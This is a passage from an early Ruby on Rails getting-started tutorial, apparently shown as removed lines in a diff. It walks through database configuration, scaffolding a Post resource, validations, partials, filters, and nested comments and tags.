$ gem install sqlite3-ruby
-

3.3.2. Configuring a MySQL Database

-

If you choose to use MySQL, your config/database.yml will look a little different. Here’s the development section:

-
-
-
development:
-  adapter: mysql
-  encoding: utf8
-  database: blog_development
-  pool: 5
-  username: root
-  password:
-  socket: /tmp/mysql.sock
-

If your development computer’s MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the development section as appropriate.

-

3.3.3. Configuring a PostgreSQL Database

-

If you choose to use PostgreSQL, your config/database.yml will be customized to use PostgreSQL databases:

-
-
-
development:
-  adapter: postgresql
-  encoding: unicode
-  database: blog_development
-  pool: 5
-  username: blog
-  password:
-

Change the username and password in the development section as appropriate.

-

3.3.4. Creating the Database

-

Now that you have your database configured, it’s time to have Rails create an empty database for you. You can do this by running a rake command:

-
-
-
$ rake db:create
-
- - - -
-Note -Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running rake -T.
-
-
-

4. Hello, Rails!

-
-

One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:

-
-
-
$ script/generate controller home index
-
- - - -
-Tip -If you’re on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails script commands to Ruby: ruby script/generate controller home index.
-
-

Rails will create several files for you, including app/views/home/index.html.erb. This is the template that will be used to display the results of the index action (method) in the home controller. Open this file in your text editor and edit it to contain a single line of code:

-
-
-
<h1>Hello, Rails!</h1>
-

4.1. Starting up the Web Server

-

You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:

-
-
-
$ script/server
-

This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to http://localhost:3000. You should see Rails' default information page:

-

-Welcome Aboard screenshot -

-
- - - -
-Tip -To stop the web server, hit Ctrl+C in the terminal window where it’s running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
-
-

The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to http://localhost:3000/home/index.

-

4.2. Setting the Application Home Page

-

You’d probably like to replace the "Welcome Aboard" page with your own application’s home page. The first step to doing this is to delete the default page from your application:

-
-
-
$ rm public/index.html
-

Now, you have to tell Rails where your actual home page is located. Open the file config/routes.rb in your editor. This is your application’s, routing file, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you’ll see the default routes:

-
-
-
map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-

The default routes handle simple requests such as /home/index: Rails translates that into a call to the index action in the home controller. As another example, /posts/edit/1 would run the edit action in the posts controller with an id of 1.

-

To hook up your home page, you need to add another line to the routing file, above the default routes:

-
-
-
map.root :controller => "home"
-

This line illustrates one tiny bit of the "convention over configuration" approach: if you don’t specify an action, Rails assumes the index action.

-

Now if you navigate to http://localhost:3000 in your browser, you’ll see the home/index view.

-
- - - -
-Note -For more information about routing, refer to Rails Routing from the Outside In.
-
-
-

5. Getting Up and Running Quickly With Scaffolding

-
-

Rails scaffolding is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.

-
-

6. Creating a Resource

-
-

In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:

-
-
-
$ script/generate scaffold Post name:string title:string content:text
-
- - - -
-Note -While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you’ll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
-
-

The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here’s a quick overview of what it creates:

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
File Purpose

app/models/post.rb

The Post model

db/migrate/20090113124235_create_posts.rb

Migration to create the posts table in your database (your name will include a different timestamp)

app/views/posts/index.html.erb

A view to display an index of all posts

app/views/posts/show.html.erb

A view to display a single post

app/views/posts/new.html.erb

A view to create a new post

app/views/posts/edit.html.erb

A view to edit an existing post

app/views/layouts/posts.html.erb

A view to control the overall look and feel of the other posts views

public/stylesheets/scaffold.css

Cascading style sheet to make the scaffolded views look better

app/controllers/posts_controller.rb

The Posts controller

test/functional/posts_controller_test.rb

Functional testing harness for the posts controller

app/helpers/posts_helper.rb

Helper functions to be used from the posts views

config/routes.rb

Edited to include routing information for posts

test/fixtures/posts.yml

Dummy posts for use in testing

test/unit/post_test.rb

Unit testing harness for the posts model

test/unit/helpers/posts_helper_test.rb

Unit testing harness for the posts helper

-
-

6.1. Running a Migration

-

One of the products of the script/generate scaffold command is a database migration. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it’s possible to undo a migration after it’s been applied to your database. Migration filenames include a timestamp to ensure that they’re processed in the order that they were created.

-

If you look in the db/migrate/20090113124235_create_posts.rb file (remember, yours will have a slightly different name), here’s what you’ll find:

-
-
-
class CreatePosts < ActiveRecord::Migration
-  def self.up
-    create_table :posts do |t|
-      t.string :name
-      t.string :title
-      t.text :content
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :posts
-  end
-end
-

If you were to translate that into words, it says something like: when this migration is run, create a table named posts with two string columns (name and title) and a text column (content), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the Rails Database Migrations guide.

-

At this point, you can use a rake command to run the migration:

-
-
-
$ rake db:migrate
-

Remember, you can’t run migrations before running rake db:create to create your database, as we covered earlier.

-
- - - -
-Note -Because you’re working in the development environment by default, this command will apply to the database defined in the development section of your config/database.yml file.
-
-

6.2. Adding a Link

-

To hook the posts up to the home page you’ve already created, you can add a link to the home page. Open /app/views/home/index.html.erb and modify it as follows:

-
-
-
<h1>Hello, Rails!</h1>
-
-<%= link_to "My Blog", posts_path %>
-

The link_to method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.

-

6.3. Working with Posts in the Browser

-

Now you’re ready to start working with posts. To do that, navigate to http://localhost:3000 and then click the "My Blog" link:

-

-Posts Index screenshot -

-

This is the result of Rails rendering the index view of your posts. There aren’t currently any posts in the database, but if you click the New Post link you can create one. After that, you’ll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single script/generate scaffold command.

-
- - - -
-Tip -In development mode (which is what you’re working in by default), Rails reloads your application with every browser request, so there’s no need to stop and restart the web server.
-
-

Congratulations, you’re riding the rails! Now it’s time to see how it all works.

-

6.4. The Model

-

The model file, app/models/post.rb is about as simple as it can get:

-
-
-
class Post < ActiveRecord::Base
-end
-

There isn’t much to this file - but note that the Post class inherits from ActiveRecord::Base. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.

-

6.5. Adding Some Validation

-

Rails includes methods to help you validate the data that you send to models. Open the app/models/post.rb file and edit it:

-
-
-
class Post < ActiveRecord::Base
-  validates_presence_of :name, :title
-  validates_length_of :title, :minimum => 5
-end
-

These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.

-

6.6. Using the Console

-

To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:

-
-
-
$ script/console
-

After the console loads, you can use it to work with your application’s models:

-
-
-
>> p = Post.create(:content => "A new post")
-=> #<Post id: nil, name: nil, title: nil, content: "A new post",
-created_at: nil, updated_at: nil>
->> p.save
-=> false
->> p.errors
-=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
-title: nil, content: "A new post", created_at: nil, updated_at: nil>,
-@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
-"is too short (minimum is 5 characters)"]}>
-

This code shows creating a new Post instance, attempting to save it and getting false for a return value (indicating that the save failed), and inspecting the errors of the post.

-
- - - -
-Tip -Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type reload! at the console prompt to load them.
-
-

6.7. Listing All Posts

-

The easiest place to start looking at functionality is with the code that lists all posts. Open the file app/controllers/posts_controller.rb + and look at the +index action:

-
-
-
def index
-  @posts = Post.find(:all)
-
-  respond_to do |format|
-    format.html # index.html.erb
-    format.xml  { render :xml => @posts }
-  end
-end
-

This code sets the @posts instance variable to an array of all posts in the database. Post.find(:all) or Post.all calls the Post model to return all of the posts that are currently in the database, with no limiting conditions.

-
- - - -
-Tip -For more information on finding records with Active Record, see Active Record Finders.
-
-

The respond_to block handles both HTML and XML calls to this action. If you browse to http://localhost:3000/posts.xml, you’ll see all of the posts in XML format. The HTML format looks for a view in app/views/posts/ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here’s app/view/posts/index.html.erb:

-
-
-
<h1>Listing posts</h1>
-
-<table>
-  <tr>
-    <th>Name</th>
-    <th>Title</th>
-    <th>Content</th>
-  </tr>
-
-<% for post in @posts %>
-  <tr>
-    <td><%=h post.name %></td>
-    <td><%=h post.title %></td>
-    <td><%=h post.content %></td>
-    <td><%= link_to 'Show', post %></td>
-    <td><%= link_to 'Edit', edit_post_path(post) %></td>
-    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New post', new_post_path %>
-

This view iterates over the contents of the @posts array to display content and links. A few things to note in the view:

-
    -
  • -

    -h is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks -

    -
    • -
  • -

    -link_to builds a hyperlink to a particular destination -

    -
    • -
  • -

    -edit_post_path is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes. -

    -
    • -
-
- - - -
-Tip -For more details on the rendering process, see Layouts and Rendering in Rails.
-
-

6.8. Customizing the Layout

-

The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of layouts, which are containers for views. When Rails renders a view to the browser, it does so by putting the view’s HTML into a layout’s HTML. The script/generate scaffold command automatically created a default layout, app/views/layouts/posts.html.erb, for the posts. Open this layout in your editor and modify the body tag:

-
-
-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
-  <title>Posts: <%= controller.action_name %></title>
-  <%= stylesheet_link_tag 'scaffold' %>
-</head>
-<body style="background: #EEEEEE;">
-
-<p style="color: green"><%= flash[:notice] %></p>
-
-<%= yield  %>
-
-</body>
-</html>
-

Now when you refresh the /posts page, you’ll see a gray background to the page. This same gray background will be used throughout all the views for posts.

-

6.9. Creating New Posts

-

Creating a new post involves two actions. The first is the new action, which instantiates an empty Post object:

-
-
-
def new
-  @post = Post.new
-
-  respond_to do |format|
-    format.html # new.html.erb
-    format.xml  { render :xml => @post }
-  end
-end
-

The new.html.erb view displays this empty Post to the user:

-
-
-
<h1>New post</h1>
-
-<% form_for(@post) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.label :title %><br />
-    <%= f.text_field :title %>
-  </p>
-  <p>
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-
-<%= link_to 'Back', posts_path %>
-

The form_for block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, f.text_field :name tells Rails to create a text input on the form, and to hook it up to the name attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case name, title, and content). Rails uses form_for in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.

-
- - - -
-Tip -If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the form_tag method, which provides shortcuts for building forms that are not necessarily tied to a model instance.
-
-

When the user clicks the Create button on this form, the browser will send information back to the create method of the controller (Rails knows to call the create method because the form is sent with an HTTP POST request; that’s one of the conventions that I mentioned earlier):

-
-
-
def create
-  @post = Post.new(params[:post])
-
-  respond_to do |format|
-    if @post.save
-      flash[:notice] = 'Post was successfully created.'
-      format.html { redirect_to(@post) }
-      format.xml  { render :xml => @post, :status => :created, :location => @post }
-    else
-      format.html { render :action => "new" }
-      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
-    end
-  end
-end
-

The create action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the params hash. After saving the new post, it uses flash[:notice] to create an informational message for the user, and redirects to the show action for the post. If there’s any problem, the create action just shows the new view a second time, with any error messages.

-

Rails provides the flash hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of create, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the show action, they are presented with a message saying "Post was successfully created."

-

6.10. Showing an Individual Post

-

When you click the show link for a post on the index page, it will bring you to a URL like http://localhost:3000/posts/1. Rails interprets this as a call to the show action for the resource, and passes in 1 as the :id parameter. Here’s the show action:

-
-
-
def show
-  @post = Post.find(params[:id])
-
-  respond_to do |format|
-    format.html # show.html.erb
-    format.xml  { render :xml => @post }
-  end
-end
-

The show action uses Post.find to search for a single record in the database by its id value. After finding the record, Rails displays it by using show.html.erb:

-
-
-
<p>
-  <b>Name:</b>
-  <%=h @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%=h @post.content %>
-</p>
-
-
-<%= link_to 'Edit', edit_post_path(@post) %> |
-<%= link_to 'Back', posts_path %>
-

6.11. Editing Posts

-

Like creating a new post, editing a post is a two-part process. The first step is a request to edit_post_path(@post) with a particular post. This calls the edit action in the controller:

-
-
-
def edit
-  @post = Post.find(params[:id])
-end
-

After finding the requested post, Rails uses the edit.html.erb view to display it:

-
-
-
<h1>Editing post</h1>
-
-<% form_for(@post) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.label :title %><br />
-    <%= f.text_field :title %>
-  </p>
-  <p>
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </p>
-  <p>
-    <%= f.submit "Update" %>
-  </p>
-<% end %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
-

Submitting the form created by this view will invoke the update action within the controller:

-
-
-
def update
-  @post = Post.find(params[:id])
-
-  respond_to do |format|
-    if @post.update_attributes(params[:post])
-      flash[:notice] = 'Post was successfully updated.'
-      format.html { redirect_to(@post) }
-      format.xml  { head :ok }
-    else
-      format.html { render :action => "edit" }
-      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
-    end
-  end
-end
-

In the update action, Rails first uses the :id parameter passed back from the edit view to locate the database record that’s being edited. The update_attributes call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post’s show view. If there are any problems, it’s back to edit to correct them.

-
- - - -
-Note -Sharp-eyed readers will have noticed that the form_for declaration is identical for the new and edit views. Rails generates different code for the two forms because it’s smart enough to notice that in the one case it’s being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a partial template, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for create and edit.
-
-

6.12. Destroying a Post

-

Finally, clicking one of the destroy links sends the associated id to the destroy action:

-
-
-
def destroy
-  @post = Post.find(params[:id])
-  @post.destroy
-
-  respond_to do |format|
-    format.html { redirect_to(posts_url) }
-    format.xml  { head :ok }
-  end
-end
-

The destroy method of an Active Record model instance removes the corresponding record from the database. After that’s done, there isn’t any record to display, so Rails redirects the user’s browser to the index view for the model.

-
-

7. DRYing up the Code

-
-

At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use partials to clean up duplication in views and filters to help with duplication in controllers.

-

7.1. Using Partials to Eliminate View Duplication

-

As you saw earlier, the scaffold-generated views for the new and edit actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new _form.html.erb template should be saved in the same app/views/posts folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that’s the Rails naming convention for partial templates.

-

new.html.erb:

-
-
-
<h1>New post</h1>
-
-<%= render :partial => "form" %>
-
-<%= link_to 'Back', posts_path %>
-

edit.html.erb:

-
-
-
<h1>Editing post</h1>
-
-<%= render :partial => "form" %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
-

_form.html.erb:

-
-
-
<% form_for(@post) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :name %><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.label :title, "title" %><br />
-    <%= f.text_field :title %>
-  </p>
-  <p>
-    <%= f.label :content %><br />
-    <%= f.text_area :content %>
-  </p>
-  <p>
-    <%= f.submit "Save" %>
-  </p>
-<% end %>
-

Now, when Rails renders the new or edit view, it will insert the _form partial at the indicated point. Note the naming convention for partials: if you refer to a partial named form inside of a view, the corresponding file is _form.html.erb, with a leading underscore.

-

For more information on partials, refer to the Layouts and Rending in Rails guide.

-

7.2. Using Filters to Eliminate Controller Duplication

-

At this point, if you look at the controller for posts, you’ll see some duplication:

-
-
-
class PostsController < ApplicationController
-  # ...
-  def show
-    @post = Post.find(params[:id])
-        # ...
-  end
-
-  def edit
-    @post = Post.find(params[:id])
-  end
-
-  def update
-    @post = Post.find(params[:id])
-    # ...
-  end
-
-  def destroy
-    @post = Post.find(params[:id])
-    # ...
-  end
-end
-

Four instances of the exact same line of code doesn’t seem very DRY. Rails provides filters as a way to address this sort of repeated code. In this case, you can DRY things up by using a before_filter:

-
-
-
class PostsController < ApplicationController
-  before_filter :find_post, :only => [:show, :edit, :update, :destroy]
-  # ...
-  def show
-        # ...
-  end
-
-  def edit
-  end
-
-  def update
-    # ...
-  end
-
-  def destroy
-    # ...
-  end
-
-  private
-    def find_post
-      @post = Post.find(params[:id])
-    end
-end
-

Rails runs before filters before any action in the controller. You can use the :only clause to limit a before filter to only certain actions, or an :except clause to specifically skip a before filter for certain actions. Rails also allows you to define after filters that run after processing an action, as well as around filters that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.

-

For more information on filters, see the Action Controller Basics guide.

-
-

8. Adding a Second Model

-
-

Now that you’ve seen what’s in a model built with scaffolding, it’s time to add a second model to the application. The second model will handle comments on blog posts.

-

8.1. Generating a Model

-

Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don’t want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:

-
-
-
$ script/generate model Comment commenter:string body:text post:references
-

This command will generate four files:

-
    -
  • -

    -app/models/comment.rb - The model -

    -
    • -
  • -

    -+db/migrate/20091013214407_create_comments.rb - The migration -

    -
    • -
  • -

    -test/unit/comment_test.rb and test/fixtures/comments.yml - The test harness. -

    -
    • -
-

First, take a look at comment.rb:

-
-
-
class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-

This is very similar to the post.rb model that you saw earlier. The difference is the line belongs_to :post, which sets up an Active Record association. You’ll learn a little about associations in the next section of this guide.

-

In addition to the model, Rails has also made a migration to create the corresponding database table:

-
-
-
class CreateComments < ActiveRecord::Migration
-  def self.up
-    create_table :comments do |t|
-      t.string :commenter
-      t.text :body
-      t.references :post
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :comments
-  end
-end
-

The t.references line sets up a foreign key column for the association between the two models. Go ahead and run the migration:

-
-
-
$ rake db:migrate
-

Rails is smart enough to only execute the migrations that have not already been run against the current database.

-

8.2. Associating Models

-

Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:

-
    -
  • -

    -Each comment belongs to one post -

    -
    • -
  • -

    -One post can have many comments -

    -
    • -
-

In fact, this is very close to the syntax that Rails uses to declare this association. You’ve already seen the line of code inside the Comment model that makes each comment belong to a Post:

-
-
-
class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-

You’ll need to edit the post.rb file to add the other side of the association:

-
-
-
class Post < ActiveRecord::Base
-  validates_presence_of :name, :title
-  validates_length_of :title, :minimum => 5
-  has_many :comments
-end
-

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @post containing a post, you can retrieve all the comments belonging to that post as the array @post.comments.

-
- - - -
-Tip -For more information on Active Record associations, see the Active Record Associations guide.
-
-

8.3. Adding a Route

-

Routes are entries in the config/routes.rb file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to posts (it will be right at the top of the file). Then edit it as follows:

-
-
-
map.resources :posts, :has_many => :comments
-

This creates comments as a nested resource within posts. This is another part of capturing the hierarchical relationship that exists between posts and comments.

-
- - - -
-Tip -For more information on routing, see the Rails Routing from the Outside In guide.
-
-

8.4. Generating a Controller

-

With the model in hand, you can turn your attention to creating a matching controller. Again, there’s a generator for this:

-
-
-
$ script/generate controller Comments index show new edit
-

This creates seven files:

-
    -
  • -

    -app/controllers/comments_controller.rb - The controller -

    -
    • -
  • -

    -app/helpers/comments_helper.rb - A view helper file -

    -
    • -
  • -

    -app/views/comments/index.html.erb - The view for the index action -

    -
    • -
  • -

    -app/views/comments/show.html.erb - The view for the show action -

    -
    • -
  • -

    -app/views/comments/new.html.erb - The view for the new action -

    -
    • -
  • -

    -app/views/comments/edit.html.erb - The view for the edit action -

    -
    • -
  • -

    -test/functional/comments_controller_test.rb - The functional tests for the controller -

    -
    • -
-

The controller will be generated with empty methods and views for each action that you specified in the call to script/generate controller:

-
-
-
class CommentsController < ApplicationController
-  def index
-  end
-
-  def show
-  end
-
-  def new
-  end
-
-  def edit
-  end
-
-end
-

You’ll need to flesh this out with code to actually process requests appropriately in each method. Here’s a version that (for simplicity’s sake) only responds to requests that require HTML:

-
-
-
class CommentsController < ApplicationController
-  def index
-    @post = Post.find(params[:post_id])
-    @comments = @post.comments
-  end
-
-  def show
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-  end
-
-  def new
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.build
-  end
-
-  def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.build(params[:comment])
-    if @comment.save
-      redirect_to post_comment_url(@post, @comment)
-    else
-      render :action => "new"
-    end
-  end
-
-  def edit
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-  end
-
-  def update
-    @post = Post.find(params[:post_id])
-    @comment = Comment.find(params[:id])
-    if @comment.update_attributes(params[:comment])
-      redirect_to post_comment_url(@post, @comment)
-    else
-      render :action => "edit"
-    end
-  end
-
-  def destroy
-    @post = Post.find(params[:post_id])
-    @comment = Comment.find(params[:id])
-    @comment.destroy
-
-    respond_to do |format|
-      format.html { redirect_to post_comments_path(@post) }
-      format.xml  { head :ok }
-    end
-  end
-
-end
-

You’ll see a bit more complexity here than you did in the controller for posts. That’s a side-effect of the nesting that you’ve set up; each request for a comment has to keep track of the post to which the comment is attached.

-

In addition, the code takes advantage of some of the methods available for an association. For example, in the new method, it calls

-
-
-
@comment = @post.comments.build
-

This creates a new Comment object and sets up the post_id field to have the id from the specified Post object in a single operation.

-

8.5. Building Views

-

Because you skipped scaffolding, you’ll need to build views for comments "by hand." Invoking script/generate controller will give you skeleton views, but they’ll be devoid of actual content. Here’s a first pass at fleshing out the comment views.

-

The views/comments/index.html.erb view:

-
-
-
<h1>Comments for <%= @post.title %></h1>
-
-<table>
-  <tr>
-    <th>Commenter</th>
-    <th>Body</th>
-  </tr>
-
-<% for comment in @comments %>
-  <tr>
-    <td><%=h comment.commenter %></td>
-    <td><%=h comment.body %></td>
-    <td><%= link_to 'Show', post_comment_path(@post, comment) %></td>
-    <td><%= link_to 'Edit', edit_post_comment_path(@post, comment) %></td>
-    <td><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %></td>
-  </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New comment', new_post_comment_path(@post) %>
-<%= link_to 'Back to Post', @post %>
-

The views/comments/new.html.erb view:

-
-
-
<h1>New comment</h1>
-
-<% form_for([@post, @comment]) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-
-<%= link_to 'Back', post_comments_path(@post) %>
-

The views/comments/show.html.erb view:

-
-
-
<h1>Comment on <%= @post.title %></h1>
-
-<p>
-  <b>Commenter:</b>
-  <%=h @comment.commenter %>
-</p>
-
-<p>
-  <b>Comment:</b>
-  <%=h @comment.body %>
-</p>
-
-<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
-<%= link_to 'Back', post_comments_path(@post) %>
-

The views/comments/edit.html.erb view:

-
-
-
<h1>Editing comment</h1>
-
-<% form_for([@post, @comment]) do |f| %>
-  <%= f.error_messages %>
-
-  <p>
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit "Update" %>
-  </p>
-<% end %>
-
-<%= link_to 'Show', post_comment_path(@post, @comment) %> |
-<%= link_to 'Back', post_comments_path(@post) %>
-

Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time.

-

8.6. Hooking Comments to Posts

-

As a next step, I’ll modify the views/posts/show.html.erb view to show the comments on that post, and to allow managing those comments:

-
-
-
<p>
-  <b>Name:</b>
-  <%=h @post.name %>
-</p>
-
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-
-<p>
-  <b>Content:</b>
-  <%=h @post.content %>
-</p>
-
-<h2>Comments</h2>
-<% @post.comments.each do |c| %>
-        <p>
-          <b>Commenter:</b>
-          <%=h c.commenter %>
-        </p>
-
-        <p>
-          <b>Comment:</b>
-          <%=h c.body %>
-        </p>
-<% end %>
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-<%= link_to 'Manage Comments', post_comments_path(@post) %>
-

Note that each post has its own individual comments collection, accessible as @post.comments. That’s a consequence of the declarative associations in the models. Path helpers such as post_comments_path come from the nested route declaration in config/routes.rb.

-
-

9. Building a Multi-Model Form

-
-

Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let’s add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:

-
-
-
$ script/generate model tag name:string post:references
-

Run the migration to create the database table:

-
-
-
$ rake db:migrate
-

Next, edit the post.rb file to create the other side of the association, and to tell Rails that you intend to edit tags via posts:

-
-
-
class Post < ActiveRecord::Base
-  validates_presence_of :name, :title
-  validates_length_of :title, :minimum => 5
-  has_many :comments
-  has_many :tags
-
-  accepts_nested_attributes_for :tags, :allow_destroy => :true  ,
-        :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
-end
-

The :allow_destroy option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you’ll build shortly. The :reject_if option prevents saving new tags that do not have any attributes filled in.

-

You’ll also need to modify views/posts/_form.html.erb to include the tags:

-
-
-
<% @post.tags.build if @post.tags.empty? %>
-<% form_for(@post) do |post_form| %>
-  <%= post_form.error_messages %>
-
-  <p>
-    <%= post_form.label :name %><br />
-    <%= post_form.text_field :name %>
-  </p>
-  <p>
-    <%= post_form.label :title, "title" %><br />
-    <%= post_form.text_field :title %>
-  </p>
-  <p>
-    <%= post_form.label :content %><br />
-    <%= post_form.text_area :content %>
-  </p>
-  <h2>Tags</h2>
-  <% post_form.fields_for :tags do |tag_form| %>
-    <p>
-      <%= tag_form.label :name, 'Tag:' %>
-      <%= tag_form.text_field :name %>
-    </p>
-    <% unless tag_form.object.nil? || tag_form.object.new_record? %>
-      <p>
-        <%= tag_form.label :_delete, 'Remove:' %>
-        <%= tag_form.check_box :_delete %>
-      </p>
-    <% end %>
-  <% end %>
-
-  <p>
-    <%= post_form.submit "Save" %>
-  </p>
-<% end %>
-

With these changes in place, you’ll find that you can edit a post and its tags directly on the same view.

-
- - - -
-Note -You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the nested model sample application.
-
-
-

10. What’s Next?

-
-

Now that you’ve seen your first Rails application, you should feel free to update it and experiment on your own. But you don’t have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

-
-

Rails also comes with built-in help that you can generate using the rake command-line utility:

-
    -
  • -

    -Running rake doc:guides will put a full copy of the Rails Guides in the /doc/guides folder of your application. Open /doc/guides/index.html in your web browser to explore the Guides. -

    -
    • -
  • -

    -Running rake doc:rails will put a full copy of the API documentation for Rails in the /doc/api folder of your application. Open /doc/api/index.html in your web browser to explore the API documentation. -

    -
    • -
-
-

11. Changelog

-
-

Lighthouse ticket

-

